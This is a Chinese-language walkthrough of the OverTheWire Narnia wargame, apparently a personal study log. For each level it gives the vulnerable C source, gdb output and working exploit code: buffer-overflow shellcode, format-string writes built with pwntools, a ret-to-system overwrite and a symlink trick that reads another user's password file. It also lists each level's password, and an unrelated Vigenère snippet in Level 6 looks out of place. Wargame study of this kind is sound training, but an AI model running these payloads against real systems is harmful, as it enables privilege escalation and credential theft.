文章目录
前言
本篇文章为OverTheWire网站Narnia关卡的学习记录。
- 通过ssh narniaX@narnia.labs.overthewire.org 2226 进行登录。
- 参考Writeup有wargame narnia writeup – litao3rd,以及通过
bing搜索引擎
搜索OverTheWire-Narnia
。 - 如有错误或疑问,可留意指出。
Level 0 -> Level 1
Username: narnia0
Password: narnia0
ssh narnia0@narnia.labs.overthewire.org 2226
- 进入/narnia目录查看narnia0.c源码,分析发现需要修改val变量值为:0xdeadbeef才能获取shell。
- 发现可以通过输入超出buf[20]数组长度的数据达到修改val的目的。
- 通过(python -c ‘print “a”*20+"\xef\xbe\xad\xde"’ ;cat) 修改val的值,注意需要添加 cat 命令获取EOF结束符,不然程序执行完system("/bin/sh");后会直接退出。
- 参考链接有二进制学习之narnia0,十分简单的PWN。
narnia0@narnia:/narnia$ ls
narnia0 narnia1.c narnia3 narnia4.c narnia6 narnia7.c
narnia0.c narnia2 narnia3.c narnia5 narnia6.c narnia8
narnia1 narnia2.c narnia4 narnia5.c narnia7 narnia8.c
narnia0@narnia:/narnia$ cat narnia0.c
#include <stdio.h>
#include <stdlib.h>
int main(){
long val=0x41414141;
char buf[20];
printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);
printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);
if(val==0xdeadbeef){
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
else {
printf("WAY OFF!!!!\n");
exit(1);
}
return 0;
}
narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: aaaaaaaaaaaaaaaaaaaaabcd
buf: aaaaaaaaaaaaaaaaaaaaabcd
val: 0x64636261
WAY OFF!!!!
narnia0@narnia:/narnia$ (python -c 'print "a"*20+"\xef\xbe\xad\xde"' ;cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
cat /etc/narnia_pass/narnia1
efeidiedae
Level 1 -> Level 2
Username: narnia1
Password: efeidiedae
ssh narnia1@narnia.labs.overthewire.org 2226
- 需要配置Linux系统pwn环境,可参考CTF Pwn环境搭建。
- 需要前置知识:ShellCode编写,参考手把手简易实现SHELLCODE及详解、简述获取shellcode的几种方式。
- 参考源码发现,这一关可通过设置EGG环境变量传入ShellCode获取shell。
- 方法一:直接本地对EGG赋值,参考ShellCode的编写,获取相关知识。
objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
可输出ShellCode
narnia1@narnia:/narnia$ cat narnia1.c
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
narnia1@narnia:/narnia$ export EGG=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x
2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
narnia1@narnia:/narnia$ ./narnia1
$ cat /etc/narnia_pass/narnia2
nairiepecu
- 方法二:通过脚本生成ShellCode,并远程访问。这一关是将生成的ShellCode提取出来,加上反斜杠 \ 将编码字符串,远程调用python对EGG进行赋值。
- 如果直接发送ShellCode,由于转义的原因,可能导致SegamentDefault错误。
- 参考WarGames-Narnia(1-2)。
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
conn = ssh('narnia1', 'narnia.labs.overthewire.org', 2226, password='efeidiedae')
sh = conn.run('sh')
# payload = str(asm(shellcraft.i386.linux.cat('/etc/narnia_pass/narnia2'))).replace('$','\$')
# print(payload)
send_egg = 'export EGG=$(python -c \'print "j\\x01\\xfe\\x0c$hnia2h/narhpasshnia_h/narh/etcj\\x05X\\x89\\xe31\\xc9\\x99\\xcd\\x80\\x89\\xc11\\xc0\\xb0\\xbbj\\x01[h\\xff\\xff\\xff\\x7f^\\x99\\xcd\\x80"\')'
print(send_egg)
sh.sendline(send_egg)
sh.sendline('/narnia/narnia1')
print(sh.recvline())
print(sh.recvline())
Level 2 -> Level 3
Username: narnia2
Password: nairiepecu
ssh narnia2@narnia.labs.overthewire.org 2226
- 这一关需要gdb调试,栈溢出的相关知识。
- 通过gdb调试,找到覆盖返回地址的偏移;
- 通过
disassemble
反汇编,在程序结尾处下断,再通过esp查看栈的内容,找到传入字符串\x90对应的位置,取中间位置的地址0xffffd85c作为返回地址来覆盖。 - 参考链接OverTheWire – Narnia 2
narnia2@narnia:/narnia$ cat narnia2.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
# python脚本生成payload见后面说明
narnia2@narnia:/tmp/narnia2$ hexdump test.txt
0000000 9090 9090 9090 9090 9090 9090 9090 9090
*
0000060 9090 9090 9090 9090 9090 9090 9090 686a
0000070 2f68 2f2f 6873 622f 6e69 0b6a 8958 31e3
0000080 99c9 80cd d85c ffff
0000088
narnia2@narnia:/narnia$ gdb narnia2
(gdb) disassemble main
Dump of assembler code for function main:
0x0804844b <+0>: push %ebp
0x0804844c <+1>: mov %esp,%ebp
0x0804844e <+3>: add $0xffffff80,%esp
0x08048451 <+6>: cmpl $0x1,0x8(%ebp)
0x08048455 <+10>: jne 0x8048471 <main+38>
0x08048457 <+12>: mov 0xc(%ebp),%eax
0x0804845a <+15>: mov (%eax),%eax
0x0804845c <+17>: push %eax
0x0804845d <+18>: push $0x8048520
0x08048462 <+23>: call 0x8048300 <printf@plt>
0x08048467 <+28>: add $0x8,%esp
0x0804846a <+31>: push $0x1
0x0804846c <+33>: call 0x8048320 <exit@plt>
0x08048471 <+38>: mov 0xc(%ebp),%eax
0x08048474 <+41>: add $0x4,%eax
0x08048477 <+44>: mov (%eax),%eax
0x08048479 <+46>: push %eax
0x0804847a <+47>: lea -0x80(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x0804847d <+50>: push %eax
0x0804847e <+51>: call 0x8048310 <strcpy@plt>
0x08048483 <+56>: add $0x8,%esp
0x08048486 <+59>: lea -0x80(%ebp),%eax
0x08048489 <+62>: push %eax
0x0804848a <+63>: push $0x8048534
0x0804848f <+68>: call 0x8048300 <printf@plt>
0x08048494 <+73>: add $0x8,%esp
0x08048497 <+76>: mov $0x0,%eax
0x0804849c <+81>: leave
0x0804849d <+82>: ret
End of assembler dump.
(gdb) b *0x0804849d
Breakpoint 1 at 0x804849d
(gdb) r $(cat /tmp/narnia2/test.txt)
Starting program: /narnia/narnia2 $(cat /tmp/narnia2/test.txt)
Breakpoint 1, 0x0804849d in main ()
(gdb) x /300wx $esp
0xffffd62c: 0xffffd85c 0x00000000 0xffffd6c4 0xffffd6d0
0xffffd63c: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd64c: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000002
0xffffd65c: 0xf7fc5000 0x00000000 0x5671d349 0x6c993f59
0xffffd66c: 0x00000000 0x00000000 0x00000000 0x00000002
0xffffd67c: 0x08048350 0x00000000 0xf7fee710 0xf7e2a199
0xffffd68c: 0xf7ffd000 0x00000002 0x08048350 0x00000000
0xffffd69c: 0x08048371 0x0804844b 0x00000002 0xffffd6c4
0xffffd6ac: 0x080484a0 0x08048500 0xf7fe9070 0xffffd6bc
0xffffd6bc: 0xf7ffd920 0x00000002 0xffffd7f7 0xffffd807
0xffffd6cc: 0x00000000 0xffffd890 0xffffd8a3 0xffffde5f
0xffffd6dc: 0xffffde94 0xffffdea3 0xffffdeb4 0xffffdecb
0xffffd6ec: 0xffffdee0 0xffffdeed 0xffffdef9 0xffffdf02
0xffffd6fc: 0xffffdf15 0xffffdf37 0xffffdf4a 0xffffdf55
0xffffd70c: 0xffffdf6c 0xffffdf7c 0xffffdf87 0xffffdf92
0xffffd71c: 0xffffdf9a 0xffffdfaa 0x00000000 0x00000020
0xffffd72c: 0xf7fd7c90 0x00000021 0xf7fd7000 0x00000010
0xffffd73c: 0x178bfbff 0x00000006 0x00001000 0x00000011
0xffffd74c: 0x00000064 0x00000003 0x08048034 0x00000004
---Type <return> to continue, or q <return> to quit---
0xffffd75c: 0x00000020 0x00000005 0x00000008 0x00000007
0xffffd76c: 0xf7fd9000 0x00000008 0x00000000 0x00000009
0xffffd77c: 0x08048350 0x0000000b 0x000036b2 0x0000000c
0xffffd78c: 0x000036b2 0x0000000d 0x000036b2 0x0000000e
0xffffd79c: 0x000036b2 0x00000017 0x00000001 0x00000019
0xffffd7ac: 0xffffd7db 0x0000001a 0x00000000 0x0000001f
0xffffd7bc: 0xffffdfe8 0x0000000f 0xffffd7eb 0x00000000
0xffffd7cc: 0x00000000 0x00000000 0x00000000 0xd7000000
0xffffd7dc: 0xd953a9b9 0xea5b54ee 0xd280de17 0x693df008
0xffffd7ec: 0x00363836 0x00000000 0x2f000000 0x6e72616e
0xffffd7fc: 0x6e2f6169 0x696e7261 0x90003261 0x90909090
0xffffd80c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd81c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd82c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd83c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd84c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd85c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd86c: 0x90909090 0x90909090 0x68686a90 0x732f2f2f
0xffffd87c: 0x69622f68 0x580b6a6e 0xc931e389 0x5c80cd99
---Type <return> to continue, or q <return> to quit---
0xffffd88c: 0x00ffffd8 0x415f434c 0x653d4c4c 0x53555f6e
0xffffd89c: 0x4654552e 0x4c00382d 0x4f435f53 0x53524f4c
narnia2@narnia:/narnia$ ./narnia2 $(cat /tmp/narnia2/test.txt)
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3
vaequeezee
- python3 脚本生成payload
from pwn import *
import sys
# print("A"*0x84 + "B"*4 + "C"*42)
ret_addr = 0xffffd85c
shellcode = shellcraft.i386.sh()
# print(shellcode)
# print(asm(shellcode))
# print(len(asm(shellcode))) 22
payload = b"\x90"* 110
payload += asm(shellcode)
payload += p32(ret_addr)
# print(payload)
sys.stdout.buffer.write(payload) # > test.txt
# r $(cat test.txt)
Level 3 -> Level 4
Username: narnia3
Password: vaequeezee
ssh narnia3@narnia.labs.overthewire.org 2226
- 源码中
strcpy(ifile, argv[1]);
存在溢出。 - 结合程序功能是将
ifile
文件的内容复制到ofile
文件中,通过在tmp目录下构造软链接文件ln -s /etc/narnia_pass/narnia4 /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/pass
,将ofile
覆盖为/tmp/pass
,即可在pass文件中查看密码。 - 注意需要设置目录权限。
narnia3@narnia:/narnia$ cat narnia3.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int ifd, ofd;
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
if(argc != 2){
printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
exit(-1);
}
/* open files */
strcpy(ifile, argv[1]);
if((ofd = open(ofile,O_RDWR)) < 0 ){
printf("error opening %s\n", ofile);
exit(-1);
}
if((ifd = open(ifile, O_RDONLY)) < 0 ){
printf("error opening %s\n", ifile);
exit(-1);
}
/* copy from file1 to file2 */
read(ifd, buf, sizeof(buf)-1);
write(ofd,buf, sizeof(buf)-1);
printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
/* close ’em */
close(ifd);
close(ofd);
exit(1);
}
narnia3@narnia:/narnia$ mkdir -p /tmp/narnia3/`python -c 'print "A"*19'`/tmp
narnia3@narnia:/narnia$ ln -s /etc/narnia_pass/narnia4 /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/pass
narnia3@narnia:/narnia$ ls -l /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/
total 0
lrwxrwxrwx 1 narnia3 narnia3 24 Dec 1 03:06 pass -> /etc/narnia_pass/narnia4
narnia3@narnia:/narnia$ chmod 0777 -R /tmp/narnia3
narnia3@narnia:/narnia$ touch /tmp/pass
narnia3@narnia:/narnia$ ./narnia3 /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/pass
copied contents of /tmp/narnia3/AAAAAAAAAAAAAAAAAAA/tmp/pass to a safer place... (/tmp/pass)
narnia3@narnia:/narnia$ cat /tmp/pass
thaenohtai
Level 4 -> Level 5
Username: narnia4
Password: thaenohtai
ssh narnia4@narnia.labs.overthewire.org 2226
- 查看源码,发现
strcpy(buffer,argv[1]);
存在栈溢出。
narnia4@narnia:/narnia$ cat narnia4.c
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1)
strcpy(buffer,argv[1]);
return 0;
}
- 使用gdb调试narnia4程序,获取buffer的偏移为
ebp-0x104
,那么"A"*264+"B"*4
可覆盖ret地址。 - 通过
x /300wx $esp
获取返回地址值0xffffd7fc
在中间处(不同系统,地址不一样)。
narnia4@narnia:~$ python -c 'print "A"*264 + "B"*4'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
narnia4@narnia:/narnia$ gdb narnia4
(gdb) disassemble main
...
0x08048518 <+109>: lea -0x104(%ebp),%eax
0x0804851e <+115>: push %eax
0x0804851f <+116>: call 0x8048360 <strcpy@plt>
0x08048524 <+121>: add $0x8,%esp
0x08048527 <+124>: mov $0x0,%eax
0x0804852c <+129>: leave
0x0804852d <+130>: ret
(gdb) b *0x0804852d
Breakpoint 1 at 0x804852d
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
(gdb) x /300wx $esp
...
0xffffd86c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd87c: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd88c: 0x42424241 0x00000042 0x00000000 0x00000000
- 通过python脚本生成payload,输出到test.txt文件。
from pwn import *
import sys
# print("A"*0x108 + "B"*4 + "C"*42)
ret_addr = 0xffffd7fc
shellcode = shellcraft.i386.sh()
# print(shellcode)
# print(asm(shellcode))
# print(len(asm(shellcode))) # len 22
payload = b"\x90"* 242
payload += asm(shellcode) # 242 + 22 = 264 = 0x108
payload += p32(ret_addr)
sys.stdout.buffer.write(payload) # > test.txt
narnia4@narnia:/narnia$ ./narnia4 $(cat /tmp/test4/test.txt)
$ cat /etc/narnia_pass/narnia5
faimahchiy
Level 5 -> Level 6
Username: narnia5
Password: faimahchiy
ssh narnia5@narnia.labs.overthewire.org 2226
- 查看源代码发现
snprintf(buffer, sizeof buffer, argv[1]);
存在格式字符串漏洞(格式字符串漏洞利用的原理请参考其他资料); - 通过gdb调试找到字符串偏移
AAAA%177$x
,变量i的地址,再通过0xXXXX%496c%177$n,覆盖变量i的值; - 在命令行执行,需先通过脚本获取字符串偏移为1,再替换变量i的地址即可。
narnia5@narnia:/narnia$ cat narnia5.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
- python脚本如下。
# -*- coding: utf-8 -*-
from pwn import *
import sys
import os
# get i
# %17\$x
# 计算偏移量
def exec_fmt(payload):
output = os.popen('./narnia5 '+ str(payload)[1:])
info = output.read()
text = bytes(info, encoding='utf-8')
begin = text.find(b'[')
# print(payload)
end = text.find(b']')
# print(text[begin+1:end])
return text[begin+1:end]
#info = exec_fmt(b'AAAA%x')
#print(info)
auto = FmtStr(exec_fmt)
offset = auto.offset
#print(offset)
offset = 1
i_addr = 0xffffd290
# vararg_addr = 0xffffd1f0 gdb
# argv_addr = 0xffffd4a8 # "AAAAAA..."
# offset = (argv_addr - vararg_addr + 4)//4
key = 500
# print(offset)
payload = p32(i_addr) + bytes('%{}c%{}$n'.format(496,offset), encoding='utf-8')
print(payload)
# sys.stdout.buffer.write(payload) # > test.txt
narnia5@narnia:/narnia$ ./narnia5 `python -c 'print "\xd0\xd6\xff\xff%496c%1$n"'`
Change i's value from 1 -> 500. GOOD
$ cat /etc/narnia_pass/narnia6
neezocaeng
Level 6 -> Level 7
Username: narnia6
Password: neezocaeng
ssh narnia6@narnia.labs.overthewire.org 2226
- 参考源代码,发现数组b1,b2存在溢出点。
narnia6@narnia:/narnia$ cat narnia6.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
string="PNUKLYLWRQKGKBE" #密文
key="EICTDGYIYZKTHNSIRFXYCPFUEOCKRN" #与‘A’对应的字符
for i in range(len(string)):
sub=ord(string[i])-(ord(key[i%len(key)])-ord('A'))
if(sub<ord('A')):
sub=sub+26
print(chr(sub),end='')
- gdb调试发现数组b1在
ebp-0x14
,数组b2在ebp-0x1c
,函数指针fp在ebp-0xc
。 - 画一下堆栈图,可以发现先通过参数b1覆盖fp地址为
system函数虚拟地址
,在通过参数b2覆盖b1为/bin/sh
字符串。
...
0x0804868f <+231>: lea -0x14(%ebp),%eax
0x08048692 <+234>: push %eax
0x08048693 <+235>: call 0x8048420 <strcpy@plt>
...
0x080486a4 <+252>: lea -0x1c(%ebp),%eax
0x080486a7 <+255>: push %eax
0x080486a8 <+256>: call 0x8048420 <strcpy@plt>
...
0x080486e4 <+316>: mov -0xc(%ebp),%eax
0x080486e7 <+319>: call *%eax
- 由于系统没有开启地址随机化,可直接通过gdb反汇编函数得到system函数虚拟地址值:
0xf7e4c850
。
(gdb) r b1 b2
...
(gdb) disassemble system
Dump of assembler code for function system:
0xf7e4c850 <+0>: sub $0xc,%esp
0xf7e4c853 <+3>: mov 0x10(%esp),%eax
...
- 通过python生成参数b1的payload。
# -*- coding: utf-8 -*-
from pwn import *
# ldd narnia6
puts_addr = 0xf7e71890 # (gdb) disassemble puts -> 0xf7e71890
libc_puts = 0x0005f890 # readelf -a /usr/lib32/libc.so.6 | grep puts
libc_system = 0x0003a850
system_addr = puts_addr - (libc_puts - libc_system) # (gdb) disassemble system -> 0xf7e4c850
# print(hex(system_addr))
# system_addr = 0xf7e08160
payload = b"A"*8 + p32(system_addr)
# print(payload)
sys.stdout.buffer.write(payload) # > b1.txt
- 通过python生成参数b2的payload。
# -*- coding: utf-8 -*-
from pwn import *
payload = b"B"*8 + b"/bin/sh"
# print(payload)
sys.stdout.buffer.write(payload) # > b2.txt
- 将生成的文件上传到服务器自建的/tmp/mytest6目录下,再执行程序即可得到shell。
narnia6@narnia:/narnia$ ./narnia6 $(cat /tmp/mytest6/b1.txt) $(cat /tmp/mytest6/b2.txt)
$ cat /etc/narnia_pass/narnia7
ahkiaziphu
Level 7 -> Level 8
Username: narnia7
Password: ahkiaziphu
ssh narnia7@narnia.labs.overthewire.org 2226
- 查看源代码,发现
snprintf(buffer, sizeof buffer, format);
存在格式字符串漏洞。 - 这一关与Level5类似,只不过写入的值不是500,而是一个地址值。
- 首先可以通过程序的输出得到hackedfunction函数的地址(写入的地址值);ptrf函数指针地址(要写入的地址位置)。
- 通过gdb调试,可以得到offset偏移位置为2。
- 再通过调用pwntools模块的fmtstr_payload函数生成payload。
narnia7@narnia:/narnia$ cat narnia7.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
setreuid(geteuid(),geteuid());
system("/bin/sh");
return 0;
}
- python脚本如下。
# -*- coding: utf-8 -*-
from pwn import *
offset = 2
hackedfunction = 0x8048724
ptrf = 0xffffd618
payload = fmtstr_payload(offset, {ptrf : hackedfunction})
# print(payload)
sys.stdout.buffer.write(payload) # > test.txt
- 将test.txt上传到临时目录下,执行即可。
narnia7@narnia:/narnia$ ./narnia7 $(cat /tmp/mytest7/test.txt)
goodfunction() = 0x80486ff
hackedfunction() = 0x8048724
before : ptrf() = 0x80486ff (0xffffd618)
I guess you want to come to the hackedfunction...
Way to go!!!!$ cat /etc/narnia_pass/narnia8
mohthuphog
Level 8 -> Level 9
Username: narnia8
Password: mohthuphog
ssh narnia8@narnia.labs.overthewire.org 2226
- 查看源代码,发现数组bok[20]存在溢出点。
narnia8@narnia:/narnia$ cat narnia8.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc''s variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global until i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
- 通过gdb调试发现会覆盖字符串指针blah,导致源字符串指向其他地址,引发错误。
- 解决思路就是将blah位置覆盖的值改成原本字符串指针的值,就不会指向其他地址,从而避免错误。
- 可通过输入20个字符的方式泄露出blah的地址值。
- 并且调试发现每增加一个字符串,blah的地址值就减1。通过这个规律可以算出blah的地址值。
- python脚本如下。
from pwn import *
import sys
# ./narnia8 aaaaaaaaaaaaaaaaaaaa > hex
# blah_addr = 0xffffd4d6 + 19 - 182 + 1
blah_addr = 0xffffd89a + 19 - 182 + 1
ret_addr = blah_addr + 20 + 4 * 3 + 64 # 0xffffd434 ebp = 0xffffd128
shellcode = shellcraft.i386.sh()
# print(hex(blah_addr))
# print(shellcode)
# print(asm(shellcode))
# print(len(asm(shellcode)))
payload = b"\x90"*20
payload += p32(blah_addr)
payload += b"\x90"*4
payload += p32(ret_addr)
payload += b"\x90" * 128
payload += asm(shellcode)
# print(len(payload))
# print(payload)
sys.stdout.buffer.write(payload) # > test.txt
narnia8@narnia:/narnia$ ./narnia8 aaaaaaaaaaaaaaaaaaaa | hexdump
0000000 6161 6161 6161 6161 6161 6161 6161 6161
0000010 6161 6161 d89a ffff d6d8 ffff 84a7 0804
0000020 d89a ffff 000a
0000025
narnia8@narnia:/narnia$ ./narnia8 $(cat /tmp/mytest8/test.txt)
...
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
eiL5fealae
总结
- 题目主要是简单的栈溢出、格式化字符串漏洞。